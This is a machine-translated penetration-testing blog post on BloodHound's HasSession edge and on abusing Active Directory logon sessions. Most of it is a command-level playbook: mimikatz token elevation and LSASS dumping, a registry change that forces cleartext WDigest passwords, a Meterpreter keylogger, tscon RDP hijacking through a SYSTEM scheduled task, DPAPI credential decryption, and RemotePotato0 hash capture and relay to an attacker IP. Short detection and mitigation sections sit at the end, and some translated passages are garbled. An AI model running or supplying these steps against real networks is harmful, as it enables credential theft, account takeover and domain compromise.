web hacking

HasSession BloodHound: Session Enumeration and Abuse

HasSession BloodHound: Session Enumeration and Abuse

HasSession BloodHound: Learn how to enumerate sessions with SharpHound and leverage tokens, credentials, and RDP, with Active Directory detection and mitigations.

  • Posted on 2026-07-21
  • Reading time: 11 min

HasSession: What it is, how to enumerate it, and all the abuse/privesc methodologies #

HasSession it's the edge of blood hound represented as (Computer)-[:HasSession]->(User): indicates that a user has (or had, at the time of collection) a logon session on that computer. This is not a privilege to be exploited directly — it is information positioning: tells you where to look if you want the credentials or token of a specific user, perhaps a Domain Admin. From there, there are different paths: credential dumping, token theft, keylogging, RDP session hijacking, or coercion attacks like RemotePotato0.


What is HasSession, exactly? #

Official Edge Schematic:

text
Source:      Computer
Destination: User
Traversable: sì

So the correct reading of the graph is “this computer has (had) a session of this user ” — not the other way around.

Key points:

  • It's not just an “interactive session”. SharpHound collects sessions via calls like NetWkstaUserEnum, which can return interactive, service, batch logons, or users whose identity is still “impersonated” by a service even after the apparent logoff. HasSession It is therefore an indication of the presence/use of the identity on the system, not certain proof of an active RDP session with LSASS full of reusable credentials.
  • Sessions are ephemeral. They represent a snapshot of the moment of collection—the user may have disconnected in the meantime. But users tend to repeat the same patterns (same location, same jump server), so it's worth double-checking.
  • Only a local administrator of the machine It can retrieve authentication material from memory. A single session, without administrative privileges on the target computer, accomplishes nothing.

How SharpHound collects sessions #

Two distinct collection methods:

cmd
:: Raccolta standard (NetWkstaUserEnum), non richiede privilegi speciali
SharpHound.exe --CollectionMethods Session

:: Metodo privilegiato — usalo se hai già admin locale su molte macchine: dati più completi
SharpHound.exe --CollectionMethods LoggedOn

Since sessions are constantly changing, a single collection risks losing the Domain Admin who logs in for only a few minutes a day. For this reason --Loop It exists on purpose:

cmd
SharpHound.exe --CollectionMethods Session --Loop --LoopDuration 03:00:00 --LoopInterval 00:15:00

It repeats the collection every 15 minutes for 3 hours, building a much more complete temporal map than you would have with a single pass.

Offensive Cypher Query #

Once the data is imported into BloodHound, these are the queries that transform the enumeration into an action plan (syntax indicative, adapt the property names/labels to the version of BloodHound you are using):

Where Domain Admins are logged in:

cypher
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name = 'DOMAIN ADMINS@HACKITA.LAB'
WITH u
MATCH p=(c:Computer)-[:HasSession]->(u)
RETURN p

Where a specific user is logged in:

cypher
MATCH p=(c:Computer)-[:HasSession]->(u:User)
WHERE u.name = 'ADMIN.HACKITA@HACKITA.LAB'
RETURN p

The most actionable query — interesting sessions on computers where you are already the admin:

cypher
MATCH p=(attacker:User {name:'OPERATORE@HACKITA.LAB'})-[:AdminTo]->(computer:Computer)-[:HasSession]->(target:User)
RETURN p

This third query is the real offensive chain:

text
Hai AdminTo sul computer
        |
        v
Sul computer esiste HasSession di un utente più privilegiato di te
        |
        v
Raggiungi l'host, verifichi che la sessione sia ancora valida (qwinsta/query user)
        |
        v
Scegli la tecnica giusta in base al logon type e ai privilegi che hai
        |
        v
Assumi la nuova identità

Manual session enumeration (real-time, without BloodHound) #

query session / qwinsta #

cmd
qwinsta /server:DC01
text
SESSIONNAME       USERNAME                 ID  STATE   TYPE
console                                     0  conn
>rdp-tcp#3        admin.hackita             2  Active  rdpwd
                  svc_backup                3  Disc

qwinsta Displays RDS/interactive sessions on a host. It does not require Remote Desktop to be enabled to be queried remotely, but to view sessions from other users a specific permission is required (“Query Information”): the generic “reachable RPC port” is not enough, the ACL on the session itself also counts.

query user #

cmd
query user /server:DC01

More compact variant, shows users and status (Active/Disc).

net session — pay attention to the direction #

net session immense Remotely query another host to see who is logged in. Display established SMB sessions. towards the local server; the topic \\nomecomputer Filter to show only the session from that specific client:

cmd
net session \\DC01

This command, issued on a server, means "show me the SMB session from client DC01" — not "query DC01 to see who's logged in there." Keep these separate:

text
NetWkstaUserEnum → chi è loggato sul computer che interroghi (usato da qwinsta/query user/SharpHound Session)
NetSessionEnum   → quali client sono connessi alle risorse SMB del server locale (net session)

WMI / PowerShell #

powershell
Get-CimInstance Win32_LoggedOnUser -ComputerName DC01

Also includes “stale” data (disconnected sessions) — always cross-referenced with qwinsta for the real state.

PsLoggedOn (Sysinternals) #

cmd
PsLoggedon.exe \\DC01

Combines local/interactive sessions and network sessions. Warning: Querying a remote system with PsLoggedOn requires access to the remote registry, which in itself generates a new session—don't be surprised if your own account appears in the output.


Logon type: not all sessions leave the same material #

Before choosing a technique, understand what type of logon you're dealing with — not all of them leave reusable credentials:

Logon typeScreenwritingReusable material
2Interactive (console, RunAs without /netonly)Generally yes
3Network (SMB, RPC, share access)Generally not
4Batch (scheduled task)It may be present
5Windows ServiceIt may be present
9NewCredentials (runas /netonly)Credentials used only for outgoing connections, not for local logon
10Remote Interactive (RDP)Generally yes
11CachedInteractive (hash cache, DC unreachable)It depends on the configuration

This explains why un HasSession derived from an SMB session (type 3) does not automatically equate to “I can extract reusable credentials” — that typically requires an interactive, RDP, batch, or service logon.


Session abuse methods found #

1. Token impersonation #

If you are already a local administrator on the machine where the user is logged in:

cmd
mimikatz # privilege::debug
mimikatz # token::list
mimikatz # token::elevate /domainadmin

token::elevate Searches for a token with Domain Admin privileges among running processes and impersonates it. With Metasploit, the equivalent is the module Incognito (list_tokens -u to list available tokens, impersonate_token (to hire one) — same logic, different tool, useful if you are already operating with a Meterpreter rather than the standalone mimikatz. This is the step that actually transforms a HasSession found in account takeover true.

Alternatively, to directly extract credentials from memory:

cmd
mimikatz # sekurlsa::logonpasswords

This works as long as LSASS is not protected (PPL, Credential Guard)—see the mitigations section. The most valuable result here is often the NTLM hash itself, which can be reused for pass-the-hash on other hosts.

Trick to force clear text credentials: If WDigest is enabled (or you enable it with administrator permissions), Windows remembers the clear text password , not just the hash:

cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

After forcing the value, the user needs to re-authenticate (new logon, e.g. RDP reconnection) for the value to actually be populated — at that point sekurlsa::wdigest Shows the password in clear text, not just the hash. This is disabled by default in Windows 8.1/Server 2012 R2 and later, so this change leaves an easily detectable registry trace (see detection).

Keep in mind about tokens: there are primary tokens (associated with the process) and impersonation tokens (associated with a specific thread), with different integrity levels and privileges that can be present but disabled. A token can be "impersonable" locally or "delegable" to other hosts—the difference matters if your goal is to move laterally and not just act locally as that user.

2. Keylogging and clipboard monitoring #

If you can't extract credentials (protected LSASS, aggressive EDR) but the user still has an active session, you can intercept what they type or copy—no need to touch LSASS memory, so it's quieter than a direct dump.

Keylogging (Meterpreter):

text
meterpreter > migrate <PID del processo dell'utente target>
meterpreter > keyscan_start
[*] Starting the keystroke sniffer...

After a reasonable amount of time (minutes/hours, depending on how much the user types):

text
meterpreter > keyscan_dump
[*] Dumping captured keystrokes...
admin.hackita<Return>P@ssw0rd2026!<Return>

Il migrate is important: if you stay in your initial process instead of migrating to one of the target, you only capture your keyboard, not the user's.

Clipboard monitoring (PowerSploit):

powershell
Invoke-ClipboardMonitor -Interval 5

It checks the clipboard contents every 5 seconds and logs it — useful because many people copy and paste passwords from a password manager instead of typing them, which defeats pure keylogging but not clipboard monitoring.

Practical limitation: Both techniques are passive and time-consuming—you don't get an immediate result like with an LSASS dump. They should be scheduled for when you know the user will return to that session shortly (e.g., just before work hours).

3. RDP session hijacking (tscon) #

Actual command requirements tscon (documented by Microsoft): permission required Full Control or the special right Connect on the target session, and the session owner's password unless you are not already SYSTEM — it is just running as SYSTEM (e.g. via scheduled task launched as SYSTEM, or psexec -s) which bypasses the password check, a behavior documented by Benjamin Delpy and Alexander Korznikov related to how session shadowing works. Also note that you cannot connect directly to the console session with this command under normal conditions.

Complete workflow (requires you to already be a local administrator, to create a scheduled task as SYSTEM):

cmd
query user
text
 USERNAME              SESSIONNAME       ID  STATE   IDLE TIME
 admin.hackita          rdp-tcp#3          2  Active     .
>hackita                console            1  Active

Now create a scheduled task that runs tscon as SYSTEM, to hijack session 2 (admin.hackita) to your console (session 1):

cmd
schtasks /create /sc onstart /tn "hijack" /tr "tscon 2 /dest:console" /ru "SYSTEM"
schtasks /run /tn "hijack"

The task, running as SYSTEM, calls tscon without having to provide the password admin.hackita. Afterward, your console session becomes that of the hijacked user—without ever having seen a password, and without having touched LSASS.

Cleaning: remove scheduled task after use (schtasks /delete /tn "hijack" /f) — a task with that command remains a clear forensic artifact if left.

Important difference with tscon: with tscon the original session is disconnected and “stolen” — the user finds it gone the next time they log in. mstsc /shadow instead the user session stay active while you observe or control it in parallel—best suited when you want to remain silent and observe, not steal access. This technically falls under the MITRE ATT&CK T1563 — Remote Service Session Hijacking category.

4. Native RDP shadowing (mstsc /shadow) — a non-session-stealing alternative #

Windows has included a native RDS shadowing feature since 2012 R2, intended for technical support but equally useful offensively. Unlike tscon, here is the user session stay alive —you stand by it, you don't disconnect it:

cmd
qwinsta
mstsc /shadow:<ID_sessione> /control

/control It also gives you a mouse and keyboard, not just the view. You need to be an administrator, and by default the user receives a consent prompt — but if the GPO “Set rules for remote control of Remote Desktop Services user sessions” is set on the host with the no consent option, shadowing occurs silently, without the user noticing.

5. Kerberos ticket theft (Pass-the-Ticket) #

A session can also expose Kerberos material, not just NTLM hashes: user TGT, service ticket (TGS), AES/RC4 keys present in the LSA session. With mimikatz :

cmd
mimikatz # sekurlsa::tickets /export

Exported tickets can be reinjected into another session (Pass-the-Ticket) for later movement without ever touching the hash or password — especially useful when the target account has Kerberos delegation configured.

6. DPAPI and user profile secrets #

Even when LSASS is protected, the user's uploaded profile can contain Credential Manager, certificates, and DPAPI-protected application credentials. A concrete workflow with mimikatz:

Step 1 — Find the user's master key (from memory, if you have an active session):

cmd
mimikatz # sekurlsa::dpapi
text
[00000000] Guid   : {5d4e7e0d-d922-4783-8efc-9319b45b1c9a}
    MasterKey  : 0a942e9dfc934246081ed23f371c42fc0f9fcb6dcd3285ac2...
    sha1(key)  : ba02ef86f26c683858d3df3dc961e37b0d47e574

Step 2 — Decrypt the saved credentials file (e.g., a scheduled task password):

cmd
mimikatz # dpapi::cred /in:"C:\Users\admin.hackita\AppData\Local\Microsoft\Credentials\AA10EB8126AA20883E9542812A0F904C" /masterkey:0a942e9dfc934246081ed23f371c42fc0f9fcb6dcd3285ac2...
text
**CREDENTIAL**
  UserName     : HACKITA\svc_backup
  CredentialBlob : B4ckupP@ss2026!

If you don't have the master key in memory (session already closed, but you still have access to the filesystem/user registry as local admin), you can retrieve it offline from the file on disk:

cmd
mimikatz # dpapi::masterkey /in:"C:\Users\admin.hackita\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\5d4e7e0d-d922-4783-8efc-9319b45b1c9a" /rpc

This is why even an old session (no longer active now) can still be worth something: if you have access to the profile on disk, the user doesn't need to be still logged in.

Credential Manager passwords (those saved for network shares, RDP, applications) are recovered similarly with vault::cred (if you already have an elevated user token) or dpapi::vault (offline, with known masterkey).

7. SessionGopher — saved sessions from other tools #

Different from all the previous ones: the user does not need to have a session activate now, as long as it's ever had it on that machine. SessionGopher queries the hive HKEY_USERS for each existing user profile and recovers saved PuTTY, WinSCP, SuperPuTTY, FileZilla and Remote Desktop sessions — automatically cracking saved WinSCP/FileZilla/SuperPuTTY passwords.

powershell
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target DC01

In mode -Thorough also search all disks for files .ppk (PuTTY private keys), .rdp e .sdtid (RSA token):

powershell
Invoke-SessionGopher -Target DC01 -Thorough

For a broad scan across the entire domain:

powershell
Invoke-SessionGopher -AllDomain -o output.csv

With local admin privileges, you get the data of all users who have ever logged in; without them, only your own. This is particularly useful for finding credentials for jump boxes, Unix systems, or POS terminals that the user routinely administers from that machine.

8. Service sessions (Type 4/5) — often ignored #

A service account session can be more stable than a human administrator's, exposing: long-lived Kerberos tickets, database access, backup shares, deployment systems, Kerberos delegation configured on the account.

Concrete example: you find HasSession di svc_sql on an application server. It's not a human user, but:

cmd
mimikatz # sekurlsa::logonpasswords

on a service account often returns valid and stable credentials (the account doesn't change its password as often as a human user, and the session stays alive as long as the service is running). If you then check the privileges of that account:

powershell
Get-ADUser svc_sql -Properties memberof, servicePrincipalName, msDS-AllowedToDelegateTo

A service account with msDS-AllowedToDelegateTo populated has Kerberos delegation configured —you can potentially impersonate other users to the service you delegate to, a privilege shift that is often quieter than directly targeting a human (service sessions generate less behavioral noise, being automated and predictable).

9. Session-specific coercion: RemotePotato0 #

RemotePotato0 doesn't just enumerate a session, it actively uses it : it exploits the DCOM activation service to force a user with an interactive session on the same machine (typically a Domain Admin in session 1, while the attacker operates from another session) to authenticate against an RPC/OXID server controlled by the attacker.

Be careful not to confuse it with the classic “Potato” family (RottenPotato, JuicyPotato, PrintSpoofer, RoguePotato): those exploit SeImpersonatePrivilege to obtain SYSTEM by forcing an authentication from a post-sales service local (BITS, Print Spooler), without requiring any other user to be logged in. RemotePotato0, on the other hand, is specifically session-based: you don't need SYSTEM as the target, you need a specific privileged user to have an active session on the same machine — that's exactly why it fits into a HasSession article and the others don't.

The tool has two distinct modes , not to be confused:

Hash capture only (no relay to third parties):

cmd
.\RemotePotato0.exe -m 2 -s 1 -x <IP_ATTACCANTE> -p 8885
  • -m 2 — “Rpc capture (hash) server + potato trigger” mode: directly steals the target user's NTLMv2 hash, without relaying it elsewhere
  • -s 1 — session to be hit (typically session 1, where an interactive/privileged user is often logged in, unlike session 0 which is reserved for services)
  • -x/-p — Rogue OXID Resolver IP and port, needed when an external network redirector is needed (Windows Server > 2016)

Complete cross-protocol relay chain (RPC → HTTP → LDAP/other target):

cmd
.\RemotePotato0.exe -m 0 -r <IP_ATTACCANTE> -x <IP_ATTACCANTE> -p 9999 -s 1
  • -m 0 — default mode: cross-protocol relay + trigger, not capture only
  • -r — IP of the remote HTTP relay server (where the captured authentication is actually relayed, e.g. to ntlmrelayx.py -t ldap://<DC>)

On Windows Server ≤ 2016, OXID resolution can be done locally, without an external redirector. On newer versions, port 135 must be forwarded:

bash
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<IP_MACCHINA_TARGET>:9999

Fundamental prerequisite: Both methods require that a user with interesting privileges is actually logged in to an interactive session on the same machine — this is exactly the information that qwinsta/HasSession provides before even launching the exploit.

Important historical note: Microsoft has fixed (October 21, 2022) the main RPC→LDAP exploitation scenario used by RemotePotato0. On updated environments with properly configured LDAP signing/channel binding, expect module 0/1 (relay to LDAP) to no longer work — consider the technique mostly historical or valid in unpatched labs/environments, while hash capture alone (-m 2) remains usable longer.


Operational decision tree #

Once you find a HasSession, this is the logic for choosing the right technique without wasting time — the same structure that applies to any privilege escalation on Windows starting from a point of support:

text
Trovo HasSession
        |
        +-- Non controllo il computer
        |       -> cerco AdminTo, CanRDP, CanPSRemote, o un altro percorso verso quell'host
        |
        +-- Sono amministratore locale
        |       -> verifico processi e token attivi
        |       -> verifico se LSASS è protetto (PPL/Credential Guard)
        |       -> cerco ticket Kerberos esportabili
        |       -> controllo segreti DPAPI/Credential Manager nel profilo
        |
        +-- Sono SYSTEM
        |       -> token impersonation cross-session
        |       -> RDP session hijacking con tscon
        |       -> coercizione cross-session (RemotePotato0)
        |
        +-- La sessione è solo Network Type 3
                -> probabilmente nessun hash/TGT riutilizzabile, valuta altre strade

Normal RDP vs Restricted Admin vs Remote Credential Guard #

Not all RDP connections leave the same material on the target:

  • Normal RDP: User credentials (or derived material) may remain exposed on the target host
  • Restricted Admin mode: does not send full user credentials to the target — reduces what an attacker with local admin on the target can recover
  • Remote Credential Guard: keeps credentials off the remote host, redirecting Kerberos requests to the originating client

Un HasSession generated by an RDP connection then does not always imply whether the NT hash or the TGT is actually extractable — depends on which of these modes was in use.


Detection #

Event IDMeaning
4624Logon successful — check the Logon Type (2/4/5/9/10 on a non-usual host for that account is the signal)
4634End of session (complete logoff or disconnection, even unintentional)
4647Logoff initiated explicitly by the user
4779Session disconnected from a Window Station — typical of an RDP disconnect without a full logoff, useful for distinguishing “disconnected” from “terminated”

In addition to event IDs, it monitors:

  • Execution of tscon.exe outside of planned administrative contexts
  • Access to lsass.exe (Event ID 4656/4663, or EDR alert on process memory read)
  • Abnormal DCOM activity: Activation of unusual CLSIDs by non-administrative processes
  • RPC traffic on port 135 to IPs outside the management subnet (type redirector indicator) socat)
  • Temporal correlation between a local administrative login on a host and subsequent use of a privileged account identity elsewhere

Mitigations #

  • LSA Protection (RunAsPPL) Prevents injection and memory dumping on LSASS
  • Credential Guard isolates NTLM hashes and Kerberos tickets via virtualization-based security
  • Remote Credential Guard prevents RDP credentials from being exposed on the target
  • Dedicated Administrative Workstations (PAW) for Tier 0 accounts, with logon prohibited to untrusted hosts
  • Segmentation: Privileged accounts should never have sessions on standard user workstations

FAQ #

Is HasSession exploitable by itself? No. It's positioning information: it tells you where to look, but it doesn't grant access by itself. An additional privilege (local admin, SYSTEM, or a coercion attack) is always needed to convert it into credentials or actual access.

Is a session found with BloodHound still valid when I get to the machine? Not guaranteed — always check with your local qwinsta/query user in real time before investing time in an attack based on that session.

Why does RemotePotato0 require session 1 and not session 0? This is because session 0 is reserved for system services/processes, while interactive users (RDP, console access) are in subsequent sessions.

Is a HasSession from an SMB connection the same as one from RDP? No—it typically corresponds to a Type 3 (network) logon, which generally leaves no reusable credentials on the system, unlike an interactive/RDP logon (Type 2/10).


Conclusion #

HasSession is one of BloodHound's most underrated edges precisely because it's not a privilege in the strict sense—but it's often the first step that turns "I compromised a random host" into "I know exactly where to find a Domain Admin's credentials." The part that really matters isn't the single technique, but the chain: collecting the session → verifying it's still valid → identifying the logon type → choosing the technique consistent with the privileges you have on that host.

For further information: SpecterOps — HasSession edge documentation.

#HasSession #Token Impersonation #RDP Session Hijacking

leave a message

I'm not a robot